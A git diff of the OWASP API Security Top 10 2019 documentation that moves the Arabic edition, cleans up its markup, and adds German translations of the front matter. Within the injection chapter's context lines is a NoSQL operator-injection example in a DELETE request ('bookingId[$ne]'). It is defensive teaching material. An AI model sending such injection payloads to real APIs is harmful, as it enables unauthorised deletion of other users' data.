    diff --git a/2019/ar/src/0x04-release-notes.md b/editions/2019/ar/0x04-release-notes.md similarity index 95% rename from 2019/ar/src/0x04-release-notes.md rename to editions/2019/ar/0x04-release-notes.md index 41f793d05..bbb13bb6f 100644 --- a/2019/ar/src/0x04-release-notes.md +++ b/editions/2019/ar/0x04-release-notes.md @@ -1,6 +1,4 @@ -
    - -## ملاحظات عن الإصدار +# ملاحظات عن الإصدار هذا هو الإصدار الأول من OWASP API Security Top 10، والذي نخطط لتحديثه بشكل دوري كل ثلاث أو أربع سنوات. @@ -16,7 +14,3 @@ [1]: ./0xd0-about-data.md [2]: ./0x10-api-security-risks.md [3]: ./0xd1-acknowledgments.md - - -
    - diff --git a/2019/ar/src/0x10-api-security-risks.md b/editions/2019/ar/0x10-api-security-risks.md similarity index 96% rename from 2019/ar/src/0x10-api-security-risks.md rename to editions/2019/ar/0x10-api-security-risks.md index 020d17285..b7a97d700 100644 --- a/2019/ar/src/0x10-api-security-risks.md +++ b/editions/2019/ar/0x10-api-security-risks.md @@ -1,6 +1,4 @@ -
    - -## مخاطر برمجة واجهة التطبيقات +# مخاطر برمجة واجهة التطبيقات * تم استخدام [ نموذج تقييم المخاطر الخاص بـ OWASP](0x03-introduction.md) وذلك بهدف تحليل المخاطر. @@ -40,8 +38,3 @@ [6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm [7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator [8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 - - - -
    - diff --git a/2019/ar/src/0x11-t10.md b/editions/2019/ar/0x11-t10.md similarity index 98% rename from 2019/ar/src/0x11-t10.md rename to editions/2019/ar/0x11-t10.md index a42e96e02..12a953e89 100644 --- a/2019/ar/src/0x11-t10.md +++ b/editions/2019/ar/0x11-t10.md @@ -1,7 +1,4 @@ -
    - -## أهم عشرة مخاطر امنية تستهدف واجهة برمجة التطبيقات (API) - +# أهم عشرة مخاطر امنية تستهدف واجهة برمجة التطبيقات (API) | المخاطر | الوصف | |--------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| @@ -15,6 +12,3 @@ | API8:2019 الحقن | تحدث عمليات استغلال الحقن SQL، NoSQL و Command Injection.. الخ عند ارسال معلومات او بيانات او طلبات او اوامر الى المفسر حيث يتم خداع المفسر لطلب وتنفيذ تعليمات او الحصول على بيانات غير مصرح باستخدامها. | | API9:2019 خلل في ادارة الاصول | تميل واجهات برمجة التطبيقات API الى الكشف عن مصادر البيانات (Endpoints) مما يجعل عمليات التوثيق في المستندات لجميع التغيرات في غاية الاهمية ويجب الحذر عند اجراءها، حيث ان اعدادت وتنصيب الخوادم بشكل صحيح عند تثبيت API مهم جداً في تقليل الاخطاء التي قد تؤدي الى الكشف عن البيانات على سبيل المثال الاصدار الخاص بـAPI او واجهة معالج الاخطاء الخاصة به. | | API10:2019 خلل في طريقة تسجيل الاحداث والمراقبة | ان التسجيل الغير صحيح للاحداث و المراقبة لها يؤدي الى ضعف عملية الاستجابة للحوادث، مما يسمح للمهاجم بالعودة مره اخرى او حتى البقاء داخل الشبكة او التنقل داخل الشبكة او الاطلاع و التلاعب و تسريب البيانات حيث تٌظهر معظم الدراسات ان الوقت اللازم لاكتشاف الاختراقات يزيد عن 200 يوم وعادة ما يتم اكتشاف تلك الاختراقات من اطراف خارجية بدلاً من المراقبة بسبب ضعفها. | - -
    - diff --git a/2019/ar/src/0xa1-broken-object-level-authorization.md b/editions/2019/ar/0xa1-broken-object-level-authorization.md similarity index 99% rename from 2019/ar/src/0xa1-broken-object-level-authorization.md rename to editions/2019/ar/0xa1-broken-object-level-authorization.md index b1661ed01..2816db0ba 100644 --- a/2019/ar/src/0xa1-broken-object-level-authorization.md +++ b/editions/2019/ar/0xa1-broken-object-level-authorization.md @@ -1,5 +1,3 @@ -
    - # API1:2019 خلل التفويض والصلاحيات | عوامل التهديد/ الاستغلال | نقاط الضعف | التأثير | @@ -45,9 +43,3 @@ [1]: https://cwe.mitre.org/data/definitions/284.html [2]: https://cwe.mitre.org/data/definitions/285.html [3]: https://cwe.mitre.org/data/definitions/639.html - -
    - - - - diff --git a/2019/ar/src/0xa2-broken-user-authentication.md b/editions/2019/ar/0xa2-broken-user-authentication.md similarity index 99% rename from 2019/ar/src/0xa2-broken-user-authentication.md rename to editions/2019/ar/0xa2-broken-user-authentication.md index ca8e34e22..4b5c24d37 100644 --- a/2019/ar/src/0xa2-broken-user-authentication.md +++ b/editions/2019/ar/0xa2-broken-user-authentication.md @@ -1,5 +1,3 @@ -
    - # API2:2019 خلل في صلاحيات المستخدم | عوامل التهديد/ الاستغلال | نقاط الضعف | التأثير | @@ -67,8 +65,3 @@ [5]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key [6]: https://www.owasp.org/index.php/Key_Management_Cheat_Sheet [7]: https://cwe.mitre.org/data/definitions/798.html - - -
    - - diff --git a/2019/ar/src/0xa3-excessive-data-exposure.md b/editions/2019/ar/0xa3-excessive-data-exposure.md similarity index 99% rename from 2019/ar/src/0xa3-excessive-data-exposure.md rename to editions/2019/ar/0xa3-excessive-data-exposure.md index aaf92ea39..d59161602 100644 --- a/2019/ar/src/0xa3-excessive-data-exposure.md +++ b/editions/2019/ar/0xa3-excessive-data-exposure.md @@ -1,5 +1,3 @@ -
    - # API3:2019 خلل في استعراض البيانات | عوامل التهديد/ الاستغلال | نقاط الضعف | التأثير | @@ -41,6 +39,3 @@ [1]: https://cwe.mitre.org/data/definitions/213.html - -
    - diff --git a/2019/ar/src/0xa4-lack-of-resources-and-rate-limiting.md b/editions/2019/ar/0xa4-lack-of-resources-and-rate-limiting.md similarity index 89% rename from 2019/ar/src/0xa4-lack-of-resources-and-rate-limiting.md rename to editions/2019/ar/0xa4-lack-of-resources-and-rate-limiting.md index bdfa0cf90..bc71dbd17 100644 --- a/2019/ar/src/0xa4-lack-of-resources-and-rate-limiting.md +++ b/editions/2019/ar/0xa4-lack-of-resources-and-rate-limiting.md @@ -1,6 +1,4 @@ -
    - -## API4:2019 ضعف في البنية التحتية و حد محاولات الطلبات +# API4:2019 ضعف في البنية التحتية و حد محاولات الطلبات | عوامل التهديد/ الاستغلال | نقاط الضعف | التأثير | @@ -13,7 +11,7 @@ ### هل أنا معرض لهذه الثغرة؟ -

    تستهلك واجهة برمجة التطبيقات API المصادر والأصول من شبكات ووحدات المعالجة وكذلك وسائط التخزين حيث يعتمد بشكل كبير مقدرة تعامل البنية التحتية حسب طلبات ومدخلات المستخدم لمصادر البيانات. وضع في الاعتبار ان طلبات واجهة برمجة التطبيقات API التي تفوق قدرات البنية التحتية تعرضها للخطر بشكل كبير اذا لم يتم تداركها و وضع معدل لمستوى ومحتوى تلك الطلبات ومنها: +تستهلك واجهة برمجة التطبيقات API المصادر والأصول من شبكات ووحدات المعالجة وكذلك وسائط التخزين حيث يعتمد بشكل كبير مقدرة تعامل البنية التحتية حسب طلبات ومدخلات المستخدم لمصادر البيانات. وضع في الاعتبار ان طلبات واجهة برمجة التطبيقات API التي تفوق قدرات البنية التحتية تعرضها للخطر بشكل كبير اذا لم يتم تداركها و وضع معدل لمستوى ومحتوى تلك الطلبات ومنها: * مدة حياة الطلب * اعلى حد من استخدام الذاكرة العشوائية لكل طلب diff --git a/2019/ar/src/0xa5-broken-function-level-authorization.md b/editions/2019/ar/0xa5-broken-function-level-authorization.md similarity index 93% rename from 2019/ar/src/0xa5-broken-function-level-authorization.md rename to editions/2019/ar/0xa5-broken-function-level-authorization.md index 5c98550a9..8c12d4aae 100644 --- a/2019/ar/src/0xa5-broken-function-level-authorization.md +++ b/editions/2019/ar/0xa5-broken-function-level-authorization.md @@ -1,6 +1,4 @@ -

    - -## API5:2019 ضعف في التحقق من الهوية وادارة الصلاحيات و التفويض +# API5:2019 ضعف في التحقق من الهوية وادارة الصلاحيات و التفويض | عوامل التهديد/ الاستغلال | نقاط الضعف | التأثير | |-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------| @@ -9,9 +7,9 @@ -

    هل أنا معرض لهذه الثغرة؟

    +## هل أنا معرض لهذه الثغرة؟ -

    أفضل طريقة للعثور على مشكلات وخلل تفويض مستوى الصلاحيات والمصادقة هي إجراء تحليل عميق لآلية التفويض ، مع مراعاة التسلسل الهرمي للمستخدم ، والأدوار أو المجموعات المختلفة في التطبيق ، وطرح الأسئلة التالية: +أفضل طريقة للعثور على مشكلات وخلل تفويض مستوى الصلاحيات والمصادقة هي إجراء تحليل عميق لآلية التفويض ، مع مراعاة التسلسل الهرمي للمستخدم ، والأدوار أو المجموعات المختلفة في التطبيق ، وطرح الأسئلة التالية: * هل يستطيع المستخدم العادي الوصول الى مصادر صلاحيات المدراء ؟ * هل يستطيع المستخدم تعديل او تعيين او مسح مصادر البيانات عند تغير طريقة الطلب للبروتوكول على سبيل المثال من GET الى DELETE ؟ diff --git a/2019/ar/src/0xa6-mass-assignment.md b/editions/2019/ar/0xa6-mass-assignment.md similarity index 98% rename from 2019/ar/src/0xa6-mass-assignment.md rename to editions/2019/ar/0xa6-mass-assignment.md index ee2f4b4d1..9150e21f5 100644 --- a/2019/ar/src/0xa6-mass-assignment.md +++ b/editions/2019/ar/0xa6-mass-assignment.md @@ -1,6 +1,4 @@ -

    - -## API6:2019 التعيين الجماعي +# API6:2019 التعيين الجماعي | عوامل التهديد/ الاستغلال | نقاط الضعف | التأثير | |-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------| @@ -65,6 +63,3 @@ * [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes][1] [1]: https://cwe.mitre.org/data/definitions/915.html - -
    - diff --git a/2019/ar/src/0xa7-security-misconfiguration.md b/editions/2019/ar/0xa7-security-misconfiguration.md similarity index 98% rename from 2019/ar/src/0xa7-security-misconfiguration.md rename to editions/2019/ar/0xa7-security-misconfiguration.md index 24d4a150c..215baf16c 100644 --- a/2019/ar/src/0xa7-security-misconfiguration.md +++ b/editions/2019/ar/0xa7-security-misconfiguration.md @@ -1,5 +1,3 @@ -
    - # API7:2019 الاعداد الخاطئ | عوامل التهديد/ الاستغلال | نقاط الضعف | التأثير | @@ -59,14 +57,14 @@ $ curl -X GET 'https://api.server/endpoint/' -H 'authorization: Basic Zm9vOmJhcg * يجب على واجهات برمجة التطبيقات API التي تتوقع أن يتم الوصول إليها من عملاء يستندون إلى المتصفح على سبيل المثال (الواجهة الامامية لخدمات الويب) يجب تنفيذ سياسة سليمة وموثوقة لمشاركة الموارد عبر (CORS). -

    المراجع :

    +المراجع : * [OWASP Secure Headers Project][1] * [OWASP Testing Guide: Configuration Management][2] * [OWASP Testing Guide: Testing for Error Codes][3] * [OWASP Testing Guide: Test Cross Origin Resource Sharing][9] -

    المصادر الخارجية :

    +####المصادر الخارجية : * [CWE-2: Environmental Security Flaws][4] * [CWE-16: Configuration][5] @@ -83,6 +81,3 @@ $ curl -X GET 'https://api.server/endpoint/' -H 'authorization: Basic Zm9vOmJhcg [7]: https://csrc.nist.gov/publications/detail/sp/800-123/final [8]: https://letsencrypt.org/ [9]: https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007) - -
    - diff --git a/2019/ar/src/0xa8-injection.md b/editions/2019/ar/0xa8-injection.md similarity index 99% rename from 2019/ar/src/0xa8-injection.md rename to editions/2019/ar/0xa8-injection.md index 3bc97fe90..10ee907b3 100644 --- a/2019/ar/src/0xa8-injection.md +++ b/editions/2019/ar/0xa8-injection.md @@ -1,5 +1,3 @@ -
    - # API8:2019 الحقن @@ -91,5 +89,3 @@ DELETE /api/bookings?bookingId[$ne]=678 [4]: https://www.owasp.org/index.php/Command_Injection [5]: https://cwe.mitre.org/data/definitions/77.html [6]: https://cwe.mitre.org/data/definitions/89.html - -
    diff --git a/2019/ar/src/0xa9-improper-assets-management.md b/editions/2019/ar/0xa9-improper-assets-management.md similarity index 98% rename from 2019/ar/src/0xa9-improper-assets-management.md rename to editions/2019/ar/0xa9-improper-assets-management.md index a030f1c8e..44bc20042 100644 --- a/2019/ar/src/0xa9-improper-assets-management.md +++ b/editions/2019/ar/0xa9-improper-assets-management.md @@ -1,5 +1,3 @@ -
    - # API9:2019 إدارة الأصول بشكل خاطئ | عوامل التهديد/ الاستغلال | نقاط الضعف | التأثير | @@ -48,9 +46,9 @@ * تجنب استخدام بيانات حقيقية من بيئة التشغيل على البيئة التجريبية لواجهة برمجة التطبيقات، وفي حال توجب عليك استخدامها فيجب أن يتم تطبيق جميع المعايير الأمنية نفسها التي يتم تطبيقها على بيئة التشغيل. * في حال كانت الإصدارات الحديثة من واجهة برمجة التطبيقات تحتوي على معايير أمان افضل، قم بإجراء تحليل للمخاطر لاتخاذ القرارات والإجراءات التي تخفف من مخاطر الإصدار القديم. على سبيل المثال إذا كان من الممكن إضافة تلك المعايير الأمنية الجديدة للإصدار السابق من دون التأثير على التوافقية مع الأنظمة الأخرى أو أنه لابد من التخلص من الإصدار القديم و إلزام جميع المستخدمين بالانتقال إلى الإصدار الحديث. -

    المراجع

    +### المراجع -

    المصادر الخارجية:

    +#### المصادر الخارجية: * [CWE-1059: Incomplete Documentation][1] * [OpenAPI Initiative][2] diff --git a/2019/ar/src/0xaa-insufficient-logging-monitoring.md b/editions/2019/ar/0xaa-insufficient-logging-monitoring.md similarity index 99% rename from 2019/ar/src/0xaa-insufficient-logging-monitoring.md rename to editions/2019/ar/0xaa-insufficient-logging-monitoring.md index d170bd5e8..a61a20d18 100644 --- a/2019/ar/src/0xaa-insufficient-logging-monitoring.md +++ b/editions/2019/ar/0xaa-insufficient-logging-monitoring.md @@ -1,5 +1,3 @@ -
    - # API10:2019 خلل في طريقة تسجيل الاحداث والمراقبة | عوامل التهديد/ الاستغلال | نقاط الضعف | التأثير | diff --git a/2019/ar/src/0xb0-next-devs.md b/editions/2019/ar/0xb0-next-devs.md similarity index 99% rename from 2019/ar/src/0xb0-next-devs.md rename to editions/2019/ar/0xb0-next-devs.md index ecf7eb1f0..4db96de96 100644 --- a/2019/ar/src/0xb0-next-devs.md +++ b/editions/2019/ar/0xb0-next-devs.md @@ -1,5 +1,3 @@ -
    - # ما التالي للمطورين؟ قد تكون مهمة إنشاء برامج آمنة وصيانتها ، أو إصلاح البرامج الموجودة ، صعبة. وكذلك هو الحال مع واجهات برمجة التطبيقات لا تختلف. @@ -33,7 +31,3 @@ [12]: https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2018 [13]: https://www.owasp.org/index.php/OWASP_SAMM_Project [14]: https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project - - -
    - diff --git a/2019/ar/src/0xb1-next-devsecops.md b/editions/2019/ar/0xb1-next-devsecops.md similarity index 99% rename from 2019/ar/src/0xb1-next-devsecops.md rename to editions/2019/ar/0xb1-next-devsecops.md index 532f5b093..6a3714e5e 100644 --- a/2019/ar/src/0xb1-next-devsecops.md +++ b/editions/2019/ar/0xb1-next-devsecops.md @@ -1,5 +1,3 @@ -
    - # ما التالي لمطوري الممارسات الامنية في التطبيقات؟ نظرًا لأهميتها في بناء التطبيقات الحديثة ، فإن بناء واجهات برمجة آمنة أمر في غاية الأهمية ، ويجب أن يكون الأمن جزءًا من دورة حياة التطوير بأكملها. لم تعد اختبارات الاختراق السنوية كافية. @@ -24,5 +22,3 @@ [6]: http://devsecops.github.io/ [7]: https://github.com/devsecops/awesome-devsecops [8]: http://devsecops.org - -
    diff --git a/2019/ar/src/0xd0-about-data.md b/editions/2019/ar/0xd0-about-data.md similarity index 98% rename from 2019/ar/src/0xd0-about-data.md rename to editions/2019/ar/0xd0-about-data.md index d9b38a39c..d63ec74e6 100644 --- a/2019/ar/src/0xd0-about-data.md +++ b/editions/2019/ar/0xd0-about-data.md @@ -1,5 +1,3 @@ -
    - # المنهجية والبيانات @@ -25,7 +23,3 @@ [1]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology [2]: ./0x10-api-security-risks.md [3]: ./0xd1-acknowledgments.md - - -
    - diff --git a/2019/ar/src/0xd1-acknowledgments.md b/editions/2019/ar/0xd1-acknowledgments.md similarity index 95% rename from 2019/ar/src/0xd1-acknowledgments.md rename to editions/2019/ar/0xd1-acknowledgments.md index d3d597ca7..aa24f9552 100644 --- a/2019/ar/src/0xd1-acknowledgments.md +++ b/editions/2019/ar/0xd1-acknowledgments.md @@ -1,5 +1,3 @@ -
    - # الإقرار ## المساهمين في صناعة هذا المحتوى @@ -47,7 +45,3 @@ * مصطفى الاقصم * فهد الدريبي * 0xMohammed - - -
    - diff --git a/2019/ar/dist/owasp-api-security-top-10-ar.odt b/editions/2019/ar/dist/owasp-api-security-top-10-ar.odt similarity index 100% rename from 2019/ar/dist/owasp-api-security-top-10-ar.odt rename to editions/2019/ar/dist/owasp-api-security-top-10-ar.odt diff --git a/2019/ar/dist/owasp-api-security-top-10-ar.pdf b/editions/2019/ar/dist/owasp-api-security-top-10-ar.pdf similarity index 100% rename from 2019/ar/dist/owasp-api-security-top-10-ar.pdf rename to editions/2019/ar/dist/owasp-api-security-top-10-ar.pdf diff --git a/2019/ar/src/images/cover.jpg b/editions/2019/ar/images/cover.jpg similarity index 100% rename from 2019/ar/src/images/cover.jpg rename to editions/2019/ar/images/cover.jpg diff --git a/2019/ar/src/images/front-cc.png b/editions/2019/ar/images/front-cc.png similarity index 100% rename from 2019/ar/src/images/front-cc.png rename to editions/2019/ar/images/front-cc.png diff --git a/2019/ar/src/images/front-wasp.png b/editions/2019/ar/images/front-wasp.png similarity index 100% rename from 2019/ar/src/images/front-wasp.png rename to editions/2019/ar/images/front-wasp.png diff --git a/2019/ar/src/images/license.png b/editions/2019/ar/images/license.png similarity index 100% rename from 2019/ar/src/images/license.png rename to editions/2019/ar/images/license.png diff --git a/2019/ar/src/images/owasp-logo.png b/editions/2019/ar/images/owasp-logo.png similarity index 100% rename from 2019/ar/src/images/owasp-logo.png rename to editions/2019/ar/images/owasp-logo.png diff --git a/editions/2019/de/0x00-header.md b/editions/2019/de/0x00-header.md new file mode 100644 index 000000000..c7076aa24 --- /dev/null +++ b/editions/2019/de/0x00-header.md @@ -0,0 +1,21 @@ +--- +title: '' +--- + +![OWASP LOGO](./images/owasp-logo.png) + +# OWASP API Security Top 10 2019 + +Die 10 kritischsten Sicherheitsrisiken für APIs + +27 Januar 2023 + +![WASP Logo URL TBA](./images/front-wasp.png) + +| | | | +| - | - | - | +| https://owasp.org | This work is licensed under a [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ + + diff --git a/editions/2019/de/0x00-notice.md b/editions/2019/de/0x00-notice.md new file mode 100644 index 000000000..732461b96 --- /dev/null +++ b/editions/2019/de/0x00-notice.md @@ -0,0 +1,13 @@ +# Notiz + +Dies ist die Textversion der OWASP API Security Top 10, die dient als Quelle für die +offizielle Version, die als Portable Document Format (PDF) veröffentlicht wird. + +Beiträge zum Projekt wie Kommentare, Korrekturen oder Übersetzungen +sollten hier gemacht werden. Einzelheiten dazu [wie sie beitragen können][1] finden Sie unter +[CONTRIBUTING.md][1]. + +* Erez Yallon +* Inon Shkedy + +[1]: ../../../CONTRIBUTING.md diff --git a/editions/2019/de/0x00-toc.md b/editions/2019/de/0x00-toc.md new file mode 100644 index 000000000..667f78dcd --- /dev/null +++ b/editions/2019/de/0x00-toc.md @@ -0,0 +1,23 @@ +# Inhaltsverzeichnis + +* [Inhaltsverzeichnis](0x00-toc.md) +* [Über das OWASP](0x01-about-owasp.md) +* [Vorwort](0x02-foreword.md) +* [Einleitung](0x03-introduction.md) +* [Erläuterungen zur Veröffentlichung](0x04-release-notes.md) +* [Sicherheitsrisiken für APIs](0x10-api-security-risks.md) +* [OWASP Top 10 API Security Risks – 2019](0x11-t10.md) +* [API1:2019 Broken Object Level Authorization](0xa1-broken-object-level-authorization.md) +* [API2:2019 Broken User Authentication](0xa2-broken-user-authentication.md) +* [API3:2019 Excessive Data Exposure](0xa3-excessive-data-exposure.md) +* [API4:2019 Lack of Resources & Rate Limiting](0xa4-lack-of-resources-and-rate-limiting.md) +* [API5:2019 Broken Function Level Authorization](0xa5-broken-function-level-authorization.md) +* [API6:2019 Mass Assignment](0xa6-mass-assignment.md) +* [API7:2019 Security Misconfiguration](0xa7-security-misconfiguration.md) +* [API8:2019 Injection](0xa8-injection.md) +* [API9:2019 Improper Assets Management](0xa9-improper-assets-management.md) +* [API10:2019 Insufficient Logging & Monitoring](0xaa-insufficient-logging-monitoring.md) +* [Was kommt als nächstes auf die Entwickler zu?](0xb0-next-devs.md) +* [Was kommt als nächstes auf die DevSecOps zu?](0xb1-next-devsecops.md) +* [Methodik und Daten](0xd0-about-data.md) +* [Danksagungen](0xd1-acknowledgments.md) diff --git a/editions/2019/de/0x01-about-owasp.md b/editions/2019/de/0x01-about-owasp.md new file mode 100644 index 000000000..4f0c63a09 --- /dev/null +++ b/editions/2019/de/0x01-about-owasp.md @@ -0,0 +1,46 @@ +# Über das OWASP + +Das Open Web Application Security Project (OWASP) ist eine offene Gemeinschaft, deren Ziel es ist Organisationen zu ermöglichen, Anwendungen und APIs zu entwickeln, zu erwerben und zu pflegen, denen man vertrauen kann. + +Bei OWASP finden Sie freie und offene: + +* Tools und Standards für die Anwendungssicherheit. +* Vollständige Bücher über Anwendungssicherheitstests, sichere Codeentwicklung und Sicherheitsüberprüfungen von Code. +* Präsentationen und [Videos][1]. +* [Cheat sheets][2] zu vielen gängigen Themen. +* Standard-Sicherheitskontrollen und Bibliotheken. +* [Örtliche Chapter weltweit][3]. +* Modernste Forschung. +* Umfangreiche [Konferenzen weltweit][4]. +* [Mailinglisten][5]. + +Lerne mehr darüber auf: [https://www.owasp.org][6]. + +Alle OWASP-Tools, -Dokumente, -Videos, -Präsentationen und -Kapitel sind kostenlos und für jeden zugänglich, der an der Verbesserung von Anwendungssicherheit interessiert ist. + + +Wir plädieren dafür, die Anwendungssicherheit als ein Mensch-, Prozess- und +Technologieproblem zu betrachten, da die effektivsten Ansätze zur Anwendungssicherheit Verbesserungen in diesen Bereichen liegen. + +Die OWASP ist eine neue Art von Organisation. Unsere Freiheit von kommerziellen Zwängen ermöglicht es uns, unvoreingenommene, praktische und kostengünstige Informationen über Anwendungssicherheit zuliefern. + +OWASP ist nicht mit einem Technologieunternehmen verbunden, obwohl wir den +Einsatz kommerzieller Sicherheitstechnologien unterstützen. Die OWASP erstellt viele Arten von Materialien in einer gemeinschaftlichen, transparenten und offenen Weise. + +Die OWASP Foundation ist die gemeinnützige Einrichtung, die den langfristigen Erfolg des Projekts sicherstellt. Fast jeder, der mit OWASP zu tun hat, ist ein Freiwilliger, einschließlich des OWASP-Vorstands, der Chapter-Leiter, der Projektleiter und der Projektmitglieder. Wir unterstützen innovative Sicherheitsforschung mit Zuschüssen und Infrastruktur. + +Tritt uns bei! + +## Copyright und Lizenz + +![license](images/license.png) + +Copyright © 2003-2019 Die OWASP-Stiftung. Dieses Dokument ist veröffentlicht unter der [Creative Commons Attribution Share-Alike 4.0 Lizenz][7]. Bei jeder Wiederverwendung oder Weitergabe müssen Sie anderen die Lizenzbedingungen dieser Arbeit deutlich machen. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series +[3]: https://www.owasp.org/index.php/OWASP_Chapter +[4]: https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference +[5]: https://lists.owasp.org/mailman/listinfo +[6]: https://www.owasp.org +[7]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2019/de/0x02-foreword.md b/editions/2019/de/0x02-foreword.md new file mode 100644 index 000000000..4101f8ec4 --- /dev/null +++ b/editions/2019/de/0x02-foreword.md @@ -0,0 +1,41 @@ +# Vorwort + +Ein fundamentales Element der Innovation in der heutigen App-getriebenen Welt ist die +Anwendungsprogrammierschnittstelle (API). Von Bankenwesen, dem Einzelhandel +bis hin zu IoT-Systemen, autonomen Fahrzeugen und intelligenten Städten - APIs sind ein wichtiger Bestandteil der +modernen mobilen und Webanwendungen. APIs sind in alle modernen externen und internen Anwendungen zu finden. + +APIs stellen von Natur aus Anwendungslogik und sensible Daten wie personenbezogene +Daten externen Dritten zur Verfügung. Deshalb sind APIs zunehmend zu +einem Ziel für Angreifer geworden. Ohne sichere APIs wäre eine schnelle Innovation +unmöglich. + +Obwohl eine umfassendere Top-10-Liste der Sicherheitsrisiken von Webanwendungen in Teilen anwendbar ist, ist aufgrund +ihrer eigenen Besonderheiten eine API-spezifische Liste der Sicherheitsrisiken sinnvoll. +Die OWASP Top 10 API Security Risks konzentriert sich auf die Vermittlung von Strategien zur Behebung der gängigsten +Schwachstellen und Sicherheitsrisiken im Zusammenhang mit APIs. + +Wenn Sie mit dem [OWASP Top 10 Project][1] vertraut sind, dann werden Sie die +Ähnlichkeiten zwischen diesen beiden Dokumenten feststellen. Diese Ähnlichkeiten ermöglichen eine schnelle Einarbeitung +in diese Thematik. Wenn Sie die OWASP Top 10-Reihe noch nicht kennen, sollten Sie zuerst +die Kapitel [Sicherheitsrisiken für APIs][2] und [Methodik und Daten][3] lesen +bevor Sie sich mit dieser Top-10-Liste befassen. + +Sie können zu den OWASP API Security Top 10 mit Ihren Fragen, Kommentaren +und Ideen in unserem GitHub-Projekt-Repository beitragen: + +* https://github.com/OWASP/API-Security/issues +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +Sie können die OWASP API Security Top 10 hier finden: + +* https://www.owasp.org/index.php/OWASP_API_Security_Project +* https://github.com/OWASP/API-Security + +Wir danken allen Beteiligten, die dieses Projekt mit ihrem Engagement und ihren Beiträgen möglich gemacht haben. +Sie sind alle im Abschnitt [Danksagungen][4] aufgeführt. Vielen Dank! + +[1]: https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2019/de/0x03-introduction.md b/editions/2019/de/0x03-introduction.md new file mode 100644 index 000000000..7a5f6fe8b --- /dev/null +++ b/editions/2019/de/0x03-introduction.md @@ -0,0 +1,18 @@ +# Einleitung + +## Willkommen bei der OWASP API Security Top 10 - 2019! + +Willkommen zur ersten Ausgabe der OWASP API Security Top 10. Wenn Sie mit der OWASP Top 10-Serie vertraut sind, werden Sie die Ähnlichkeiten bemerken: Sie sind auf Lesbarkeit und Akzeptanz ausgelegt. Andernfalls sollten Sie einen Blick auf die [OWASP API Security Project wiki page][1] werfen, bevor Sie sich näher mit den wichtigsten API-Sicherheitsrisiken auseinandersetzen. + +APIs spielen eine sehr wichtige Rolle in der Architektur moderner Anwendungen. Da Sicherheitsbewusstsein und Innovation unterschiedliche Geschwindigkeiten haben, ist es wichtig, sich auf allgemeine API-Schwächen zu konzentrieren. + +Das primäre Ziel der OWASP API Security Top 10 ist es, +die an der Entwicklung und Wartung von APIs beteiligt sind, zum Beispiel Entwickler, Designer Architekten, Manager oder Organisationen zu bilden. + +Im Abschnitt [Methodik und Daten][2] können Sie mehr darüber lesen, wie diese erste Ausgabe erstellt wurde. In künftigen Versionen wollen wir die Sicherheitsbranche einbeziehen, mit einem öffentlichen Aufruf zur Datenerhebung. Für den Moment ermutigen wir jeden dazu sich mit Fragen, Kommentaren und Ideen an unser [GitHub-Repository][3] oder unsere +[Mailingliste][4] zuwenden. + +[1]: https://www.owasp.org/index.php/OWASP_API_Security_Project +[2]: ./0xd0-about-data.md +[3]: https://github.com/OWASP/API-Security +[4]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2019/de/0x04-release-notes.md b/editions/2019/de/0x04-release-notes.md new file mode 100644 index 000000000..dfd513265 --- /dev/null +++ b/editions/2019/de/0x04-release-notes.md @@ -0,0 +1,23 @@ +# Erläuterungen zur Veröffentlichung + +Dies ist die erste Ausgabe der OWASP API Security Top 10, die regelmäßig, alle drei +oder vier Jahre, aktualisiert werden soll. + +Im Gegensatz zu dieser Version wollen wir in zukünftigen Versionen einen öffentlichen Aufruf zur Datenerhebung veröffentlichen, +und die Sicherheitsbranche in unsere Initiative miteinbeziehen. In dem Kapitel [Methodik und Daten][1] +finden Sie weitere Einzelheiten darüber, wie diese Version erstellt wurde. Detaillierte +Informationen zu den Sicherheitsrisiken finden Sie im Kapitel [Sicherheitsrisiken für APIs][2]. + +Es ist wichtig zu verstehen, dass sich in den letzten Jahren die Architektur von +Anwendungen grundsätzlich verändert hat. Derzeit spielen APIs eine sehr wichtige Rolle +in dieser neuen Infrastruktur aus Microservices, Single Page Applications (SPAs), +mobilen Anwendungen und IoT-Systemen. + +Die OWASP API Security Top 10 war eine notwendige Maßnahme, um das Bewusstsein für +moderne API-Sicherheitsprobleme zu schaffen. Sie war nur möglich durch den großen Einsatz von +zahlreichen ehrenamtlichen Helfern, welche alle im Abschnitt [Danksagungen][3] aufgeführt sind. +Vielen Dank! + +[1]: ./0xd0-about-data.md +[2]: ./0x10-api-security-risks.md +[3]: ./0xd1-acknowledgments.md diff --git a/editions/2019/de/0x10-api-security-risks.md b/editions/2019/de/0x10-api-security-risks.md new file mode 100644 index 000000000..c4ca9763d --- /dev/null +++ 